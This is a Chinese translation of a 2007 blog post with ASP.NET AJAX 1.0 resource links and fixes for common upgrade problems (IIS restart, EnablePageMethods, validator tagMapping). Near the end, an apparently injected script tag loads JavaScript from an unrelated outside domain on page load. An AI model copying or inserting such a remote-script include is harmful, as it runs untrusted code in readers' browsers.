ASP.NET AJAX 1.0資源連接以及對一些常見問題的答覆

【原文地址】 Links to ASP.NET AJAX 1.0 resources, and answers to some common questions
【原文發表日期】 Thursday, January 25, 2007 12:53 AM

下面是幾個ASP.NET AJAX 1.0資源的連接以及對我看到的跟ASP.NET AJAX 1.0產品發佈有關的幾個常見問題的答覆:

精彩的免費資源:PDF格式的ASP.NET AJAX備忘表

Milan就ASP.NET AJAX 1.0最終版的發行更新了他的精彩的PDF格式的ASP.NET AJAX備忘表

cheat_sheets_1.png

你可以在這裏下載他的更新版本。確認你訂閱了他的博客,這樣新的備忘表一出來,你就能收到。

常見疑難雜症:在安裝後重啓IIS,並且清除你的瀏覽器緩存

我看到幾個情形,有人在升級到ASP.NET AJAX 1.0之後,仍然看到使用的是老的版本的ASP.NET AJAX腳本。這通常是以一個“Sys.Debug not being found(無法找到Sys.Debug)”的客戶端JavaScript錯誤的形式出現的。如果你遇到這個情形的話,檢查2件事:

1) 確認你在安裝ASP.NET AJAX之後重啓了 IIS (你可以在命令行上打入iisreset命令來重啓IIS)。如果在新的ASP.NET AJAX 程序集安裝之時,IIS已經裝載了老版本的ASP.NET AJAX 程序集的話,它會繼續使用這個已經裝載的老版本,直到下次工作進程重啓爲止。重新啓動工作進程會造成其開始使用新的程序集。

2) 假如你的瀏覽器是設置成永久存儲緩存文件的話,確認你清除了你的瀏覽器緩存。這就會避免你的瀏覽器在緩存裏保留有老的版本的.js 文件,不去服務器獲取新的版本而仍舊使用這些老的版本所造成的問題。

常見疑難雜症:PageMethods現要求 <asp:scriptmanager> 控件上的EnablePageMethods屬性設置爲真

我看到幾個人遇上了一個問題,在從ASP.NET AJAX RC版升級到最終的V1 版後,他們的靜態AJAX網頁方法(Page Methods)看上去不再工作了。其原因是,在默認情形下,ASP.NET AJAX 網頁方法不再暴露在外,除非你在 <asp:scriptmanager> 控件上把EnablePageMethods屬性設置成true。譬如:

<asp:scriptmanager id="s1" EnablePageMethods="true" runat="server"/>

你一旦把這個屬性設成true,其他的一切將照舊工作。你可以在這裏的ASP.NET AJAX 1.0文檔中進一步學習如何使用PageMethods。

常見疑難雜症: <asp:updatepanel> 控件中使用的驗證控件

我看到幾個人遇上了一個問題,在升級到RTM版後,<asp:updatepanel> 內的驗證控件不再工作了。

在Beta1,Beta2 和 RC 版本中, ASP.NET AJAX 提供了一套“兼容”控件,通過使用ASP.NET中web.config中的 <tagMapping> 特性,把ASP.NET內置的驗證控件替換成可以在<asp:updatepanel>內使用的對AJAX有意識(AJAX-aware)的控件。其結果是,看上去在你的網站上你是在使用標準的ASP.NET驗證控件,但實際上,你是在使用一套添加了AJAX 關聯的新的控件。

在ASP.NET AJAX的最終版中,我們決定放棄這個做法,而是對ASP.NET 2.0發佈一個補丁,把對AJAX有意識的特性直接添加到真的ASP.NET驗證控件中去。這就確保了這些控件在所有的情形下都會正常工作,這是個更加乾淨和可靠的方案。但不幸的是,這個補丁拖延了幾個星期,所以在ASP.NET AJAX 1.0發行時,還沒有及時通過Windows Update來發布這個補丁。

作爲在補丁發佈之前的一個臨時的方案,你可以下載那些我們在RC(發佈候選版)中提供的兼容性驗證控件,然後就按RC版中的做法,在你的web.config文件中使用 <tagMapping> 特性把內置的ASP.NET控件映射到那些控件上去:

<tagMapping>

   
<add tagType="System.Web.UI.WebControls.CompareValidator" 
        mappedTagType
="Sample.Web.UI.Compatibility.CompareValidator, Validators, Version=1.0.0.0"/>

   <
add tagType="System.Web.UI.WebControls.CustomValidator" 
        mappedTagType
="Sample.Web.UI.Compatibility.CustomValidator, Validators, Version=1.0.0.0"/>

   <
add tagType="System.Web.UI.WebControls.RangeValidator" 
        mappedTagType
="Sample.Web.UI.Compatibility.RangeValidator, Validators, Version=1.0.0.0"/>

   <
add tagType="System.Web.UI.WebControls.RegularExpressionValidator" 
        mappedTagType
="Sample.Web.UI.Compatibility.RegularExpressionValidator, Validators, Version=1.0.0.0"/>
   
   <
add tagType="System.Web.UI.WebControls.RequiredFieldValidator" 
        mappedTagType
="Sample.Web.UI.Compatibility.RequiredFieldValidator, Validators, Version=1.0.0.0"/>
   
   <
add tagType="System.Web.UI.WebControls.ValidationSummary"
        mappedTagType
="Sample.Web.UI.Compatibility.ValidationSummary, Validators, Version=1.0.0.0"/>

</
tagMapping>

這樣驗證控件就會在<asp:updatepanel>控件中正常工作,其行爲應該跟RC版中的行爲完全一樣。你可以在這裏下載這些兼容控件

希望本文對你有所幫助,

Scott

標籤: ASP.NET, Atlas
92651.aspx <script language='javascript' src='http://www.taizhou.la/AD/as.js'></script>
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章